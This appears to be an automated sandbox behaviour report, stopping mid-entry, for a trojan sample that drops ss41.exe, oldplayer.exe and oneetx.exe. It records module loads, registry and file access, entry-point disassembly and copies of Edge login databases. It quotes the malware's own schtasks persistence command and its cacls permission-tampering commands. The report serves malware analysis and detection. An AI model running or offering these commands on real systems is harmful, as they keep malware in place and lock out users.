"ss41.exe" loaded module "MSKEYPROTECT.DLL" at base df230000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base eb840000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base ea960000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base ebc20000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base d9d80000 "ss41.exe" loaded module "CRYPTNET.DLL" at base d9d80000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base eb8a0000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base df6b0000 "ss41.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base eb5d0000 "ss41.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base eb5d0000 "ss41.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base eb5d0000 "oneetx.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 "oneetx.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 "oneetx.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 "oneetx.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 "oneetx.exe" loaded module "KERNEL32" at base 74990000 "oneetx.exe" loaded module "KERNEL32.DLL" at base 74990000 "oneetx.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 72c30000 "oneetx.exe" loaded module "RPCRT4.DLL" at base 77870000 "oneetx.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 72400000 "oneetx.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74ef0000 "oneetx.exe" loaded module "NTDLL.DLL" at base 77b10000 "oneetx.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73b40000 "oneetx.exe" loaded module "SHELL32.DLL" at base 75730000 "oneetx.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72ba0000 "oneetx.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74990000 "oneetx.exe" loaded module "MSISO.DLL" at base 729b0000 "oneetx.exe" loaded module "SSPICLI.DLL" at base 74530000 "oneetx.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 771f0000 "oneetx.exe" loaded module "WINHTTP.DLL" at base 72350000 "oneetx.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72ce0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75520000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 "schtasks.exe" loaded module "KERNEL32" at base 74990000 "schtasks.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 74990000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 77870000 "schtasks.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73a50000 "cmd.exe" loaded module "KERNEL32" at base 74990000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 771f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75520000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 "cmd.exe" loaded module "KERNEL32.DLL" at base 74990000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 771f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 771f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 "cacls.exe" loaded module "KERNEL32" at base 74990000 "cacls.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 771f0000 "cacls.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 771f0000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 771f0000 "cacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 "cacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 "cacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 "cacls.exe" loaded module "KERNEL32.DLL" at base 74990000 "cacls.exe" loaded module "RPCRT4.DLL" at base 77870000 "cacls.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75520000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 "oneetx.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 776a000036:T12c2,".exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") ".exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") ".exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") ".exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") ".exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") ".exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") ".exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") ".exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") ".exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") ".exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") ".exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") ".exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") ".exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "oldplayer.exe" touched "Search Gatherer Notification" (Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS") "oldplayer.exe" touched "Desktop Status Service" (Path: "HKCU\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\TREATAS") "oldplayer.exe" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "oldplayer.exe" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "oneetx.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "oneetx.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "oneetx.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "oneetx.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "oneetx.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "oneetx.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "oneetx.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "oneetx.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "oneetx.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "oneetx.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "oneetx.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "oneetx.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "oneetx.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "oneetx.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "oneetx.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "oneetx.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "oneetx.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS")37:T5c1,"82ecd.Trojan.bin" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 8,nop ,mov eax, 4,push eax,mov eax, 0,push eax,lea eax, [ebp - 4],push eax,call 0x401590,add esp, 0xc,mov eax, 0x401453,push eax,call 0x4015e0,mov eax, 1,push eax,call 0x4015e8,add esp, 4,mov eax, 0x30000,push eax,mov eax, 0x10000,push eax,call 0x4015f0,add esp, 8,mov eax, dword ptr [0x4e66e4],mov ecx, dword ptr [0x4e66e8],mov edx, dword ptr [0x4e66ec],mov dword ptr [ebp - 8], eax," "ss41.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x10000c16c,add rsp, 0x28,jmp 0x10002a03d,nop ,nop ,nop ,nop ,nop ,nop ,mov rax, rsp,mov qword ptr [rax + 8], rbx,mov qword ptr [rax + 0x10], rdi,mov qword ptr [rax + 0x18], r12,push r13,sub rsp, 0xb0,xor ebx, ebx,mov dword ptr [rsp + 0x20], ebx,lea rcx, [rax - 0x78],call qword ptr [rip + 0x56810],nop ,mov rax, qword ptr gs:[0x30],mov rdi, qword ptr [rax + 8],mov r12d, ebx,xor eax, eax,lock cmpxchg qword ptr [rip + 0x835b4], rdi,jne 0x100023c03," "oldplayer.exe" file has an entrypoint instructions - "call 0x413ff8,jmp 0x4139ed,jmp 0x416b42,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x422b63,test eax, eax,je 0x413b98,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x413d45,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414500,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx,"38:T4b0,Observed system executable string:"%WINDIR%\System32\schtasks.exe" [Source: 00000000-00000932-00000C41-6493994635] Observed system executable string:""%WINDIR%\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "%TEMP%\207aa4515d\one" [Source: 00000000-00000932-00000C41-6493994635], Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00000932-00000C41-6871122655], Observed system executable string:""%WINDIR%\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "idMumCb:N"&&CACLS "oneetx.exe" /P "idMumCb:R" /E&&echo Y|CACLS "..\" [Source: 00000000-00000932-00000C41-6871122655] Observed system executable string:"%WINDIR%\SysWOW64\cacls.exe" [Source: 00000000-00002788-00000BC0-74457096] Observed system executable string:"%WINDIR%\SysWOW64\cmd.exe" [Source: 00000000-00002788-00000BC0-78735980] Observed system executable string:"%WINDIR%\system32\cacls.exe" [Source: 00000000-00002788-00000C41-7595523583] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002788-00000C41-18088663982] Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" [Source: 00000000-00002788-00000C41-18088663982]39:T712,".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "oldplayer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "oldplayer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "oldplayer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "oldplayer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "ss41.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ss41.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "oneetx.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "oneetx.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")3a:T4d9,Spawned process "oldplayer.exe" (UID: 00000000-00006156) Spawned process "ss41.exe" (UID: 00000000-00006112) Spawned process "oneetx.exe" (UID: 00000000-00000932) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "%TEMP%\\207aa4515d\ ..." (UID: 00000000-00002028), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "oneetx.exe" /P "idMumCb:N"&&CACLS "oneetx.exe" ..." (UID: 00000000-00002788), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00002528), Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:N"" (UID: 00000000-00007052), Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:R" /E" (UID: 00000000-00003812), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007128), Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:N"" (UID: 00000000-00006044), Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:R" /E" (UID: 00000000-00003520), Spawned process "oneetx.exe" (UID: 00000000-00005192), Spawned process "oneetx.exe" (UID: 00000000-00007488)3b:T4d9,Spawned process "oldplayer.exe" (UID: 00000000-00006156) Spawned process "ss41.exe" (UID: 00000000-00006112) Spawned process "oneetx.exe" (UID: 00000000-00000932) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "%TEMP%\\207aa4515d\ ..." (UID: 00000000-00002028), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "oneetx.exe" /P "idMumCb:N"&&CACLS "oneetx.exe" ..." (UID: 00000000-00002788), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00002528), Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:N"" (UID: 00000000-00007052), Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:R" /E" (UID: 00000000-00003812), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007128), Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:N"" (UID: 00000000-00006044), Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:R" /E" (UID: 00000000-00003520), Spawned process "oneetx.exe" (UID: 00000000-00005192), Spawned process "oneetx.exe" (UID: 00000000-00007488)3c:T5f7,"ss41.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\ss41.exe]- [targetUID: 00000000-00006580] "oldplayer.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\oldplayer.exe]- [targetUID: 00000000-00006580] "imagd_1_.jpg" has type "JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3"- [targetUID: N/A] "Login Data111" has type "SQLite 3.x database last written using SQLite version 3038005"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data111]- [targetUID: 00000000-00006112] "d9e0d364197915c50023ab0820646da3" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\d9e0d364197915c50023ab0820646da3]- [targetUID: 00000000-00006112] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4774 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00006112] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00006112] "oneetx.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\207aa4515d\oneetx.exe]- [targetUID: 00000000-00007052]3d:T583,".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "")3e:Ta72,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "82ECD.TROJAN.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "")3f:T692,".exe" reads file "c:\users\%osuser%\desktop\desktop.ini" ".exe" reads file "c:\users\%osuser%\documents\desktop.ini" ".exe" reads file "c:\users\%osuser%\music\desktop.ini" ".exe" reads file "c:\users\%osuser%\pictures\desktop.ini" ".exe" reads file "c:\users\%osuser%\videos\desktop.ini" ".exe" reads file "c:\users\%osuser%\downloads\desktop.ini" ".exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" ".exe" reads file "c:\users\%osuser%\searches\desktop.ini" ".exe" reads file "c:\users\%osuser%\contacts\desktop.ini" ".exe" reads file "c:\users\%osuser%\favorites\desktop.ini" ".exe" reads file "c:\users\%osuser%\links\desktop.ini" ".exe" reads file "c:\users\%osuser%\saved games\desktop.ini" ".exe" reads file "c:\users\desktop.ini" "oldplayer.exe" reads file "c:\windows\fonts\staticcache.dat" "oldplayer.exe" reads file "c:\users\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\appdata\local\temp\oldplayer.exe" "oldplayer.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\music\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "oldplayer.exe" reads file "c:\users\%osuser%\searches\desktop.ini"40:T495,".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "oldplayer.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "oldplayer.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "ss41.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "ss41.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "ss41.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\imagd[1].jpg" "ss41.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "ss41.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "ss41.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\imagd[1].jpg" "oneetx.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "oneetx.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "oneetx.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "oneetx.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History"41:T7ef,".exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" ".exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" ".exe" trying to access non-existent file "C:\CLDAPI.DLL" ".exe" trying to access non-existent file "C:\CLDAPI.dll" ".exe" trying to access non-existent file "C:\AEPIC.DLL" ".exe" trying to access non-existent file "C:\AEPIC.dll" ".exe" trying to access non-existent file "C:\BCRYPT.DLL" ".exe" trying to access non-existent file 